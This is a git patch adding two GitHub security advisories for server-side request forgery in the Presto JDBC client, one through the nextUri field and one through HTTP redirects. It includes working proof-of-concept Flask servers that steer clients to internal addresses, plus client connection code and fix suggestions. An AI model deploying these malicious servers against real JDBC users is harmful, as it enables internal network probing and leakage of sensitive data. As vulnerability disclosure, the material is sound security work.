From 25490ab9d8d184647975a9e02afefcdb3dfc0bd5 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 3 Oct 2023 21:55:21 +0000 Subject: [PATCH] Publish Advisories GHSA-86q5-qcjc-7pv4 GHSA-xm7x-f3w2-4hjm --- .../GHSA-86q5-qcjc-7pv4.json | 62 +++++++++++++++++++ .../GHSA-xm7x-f3w2-4hjm.json | 62 +++++++++++++++++++ 2 files changed, 124 insertions(+) create mode 100644 advisories/github-reviewed/2023/10/GHSA-86q5-qcjc-7pv4/GHSA-86q5-qcjc-7pv4.json create mode 100644 advisories/github-reviewed/2023/10/GHSA-xm7x-f3w2-4hjm/GHSA-xm7x-f3w2-4hjm.json diff --git a/advisories/github-reviewed/2023/10/GHSA-86q5-qcjc-7pv4/GHSA-86q5-qcjc-7pv4.json b/advisories/github-reviewed/2023/10/GHSA-86q5-qcjc-7pv4/GHSA-86q5-qcjc-7pv4.json new file mode 100644 index 0000000000000..684933a8d5ac7 --- /dev/null +++ b/advisories/github-reviewed/2023/10/GHSA-86q5-qcjc-7pv4/GHSA-86q5-qcjc-7pv4.json @@ -0,0 +1,62 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-86q5-qcjc-7pv4", + "modified": "2023-10-03T21:54:06Z", + "published": "2023-10-03T21:54:06Z", + "aliases": [ + + ], + "summary": "Presto JDBC Server-Side Request Forgery by nextUri", + "details": "### Summary\n\nPresto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Details\n\nThe Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.\n\nFor unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.\n\nThe relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `advance` .\n\nThe flowchart is as follows:\n\n\"presto_jdbc_ssrf_2.png\"\n\n### PoC\n\nRunning an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:\n\n```python\nfrom flask import Flask, Response\n\napp = Flask(__name__)\n\n@app.route('/v1/statement', methods=['POST'])\ndef next_uri_to_interal_server():\n data = '{\"id\":\"test_id\",\"infoUri\":\"whatever\",\"nextUri\":\"http://127.0.0.1:8888\",\"stats\":{\"state\":\"QUEUED\",\"queued\":true,\"scheduled\":false,\"nodes\":0,\"totalSplits\":0,\"queuedSplits\":0,\"runningSplits\":0,\"completedSplits\":0,\"cpuTimeMillis\":0,\"wallTimeMillis\":0,\"queuedTimeMillis\":0,\"elapsedTimeMillis\":0,\"processedRows\":0,\"processedBytes\":0,\"peakMemoryBytes\":0,\"peakTotalMemoryBytes\":0,\"peakTaskTotalMemoryBytes\":0,\"spilledBytes\":0},\"warnings\":[]}'\n return Response(data, content_type='application/json; charset=utf-8', status=200)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\",port=8000)\n```\n\nConnecting to the malicious server using JDBC:\n\n```java\nString url = \"jdbc:presto://:\";\nProperties properties = new Properties();\nproperties.setProperty(\"user\", \"root\");\ntry {\n Connection connection = DriverManager.getConnection(url, properties);\n Statement stmt = connection.createStatement();\n ResultSet res = stmt.executeQuery(\"show catalogs\");\n while(res.next()) {\n System.out.println(res.getString(1));\n }\n} catch (Exception e) {\n e.printStackTrace();\n}\n```\n\nPwned!\n\n### Impact\n\nWhen the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. \n\nVulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "com.facebook.presto:presto-jdbc" + }, + "ecosystem_specific": { + "affected_functions": [ + "" + ] + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.283" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/prestodb/presto/security/advisories/GHSA-86q5-qcjc-7pv4" + }, + { + "type": "PACKAGE", + "url": "https://github.com/prestodb/presto" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2023-10-03T21:54:06Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2023/10/GHSA-xm7x-f3w2-4hjm/GHSA-xm7x-f3w2-4hjm.json b/advisories/github-reviewed/2023/10/GHSA-xm7x-f3w2-4hjm/GHSA-xm7x-f3w2-4hjm.json new file mode 100644 index 0000000000000..160d185ebca26 --- /dev/null +++ b/advisories/github-reviewed/2023/10/GHSA-xm7x-f3w2-4hjm/GHSA-xm7x-f3w2-4hjm.json @@ -0,0 +1,62 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-xm7x-f3w2-4hjm", + "modified": "2023-10-03T21:54:02Z", + "published": "2023-10-03T21:54:02Z", + "aliases": [ + + ], + "summary": "Presto JDBC Server-Side Request Forgery by redirect", + "details": "### Summary\n\nPresto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can construct a redirect response that Presto JDBC client will follow and view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Details\n\nPresto JDBC client uses OkHttp to send `POST /v1/statement` and `GET /v1/info` requests to the remote Presto server. And OkHttp will follow 301 and 302 redirect by default. In addition, JDBC will manually follow 307 and 308 redirect. Therefore, if a malicious server returns a 30x redirect, JDBC client will follow the redirect and cause SSRF.\n\nFor unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.\n\nThe relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `StatementClientV1` .\n\nThe flowchart is as follows:\n\n\"trino_jdbc_ssrf_1.png\"\n\n### PoC\n\nRunning an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/v1/statement', methods=['POST'])\ndef redirect_to_interal_server():\n return redirect('http://127.0.0.1:8888', code=302)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\",port=8000)\n```\n\nConnecting to the malicious server using JDBC:\n\n```java\nString url = \"jdbc:presto://:\";\nProperties properties = new Properties();\nproperties.setProperty(\"user\", \"root\");\ntry {\n Connection connection = DriverManager.getConnection(url, properties);\n Statement stmt = connection.createStatement();\n ResultSet res = stmt.executeQuery(\"show catalogs\");\n while(res.next()) {\n System.out.println(res.getString(1));\n }\n} catch (Exception e) {\n e.printStackTrace();\n}\n```\n\nPwned!\n\n### Impact\n\nWhen the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Others\n\nRegarding the fix suggestions, the redirect issue we can consider directly disable the following redirect. If not, we can add a jdbc parameter such as allowRedirect. Like MySQL JDBC caused arbitrary file reading before, its solution is adding the allowLoadLocalInfile parameters. Disable redirect by default, and there is a need to open. The nextUri issue is similar. If we can only take the path of nextUri instead of the complete URL, join the host and path. If not, add a jdbc parameter too.\n\nI think these two vulnerabilities are worth fixing. There is no effective way to avoid this vulnerability at the server side, and the only way to fix them is modifying the jdbc source code. I think many other vendors also have this issue.\n\nI hope to apply for CVEs and give security thanks in the vulnerability bulletin to prove my work, thank you.\n\nVulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "com.facebook.presto:presto-jdbc" + }, + "ecosystem_specific": { + "affected_functions": [ + "" + ] + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.283" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/prestodb/presto/security/advisories/GHSA-xm7x-f3w2-4hjm" + }, + { + "type": "PACKAGE", + "url": "https://github.com/prestodb/presto" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2023-10-03T21:54:02Z", + "nvd_published_at": null + } +} \ No newline at end of file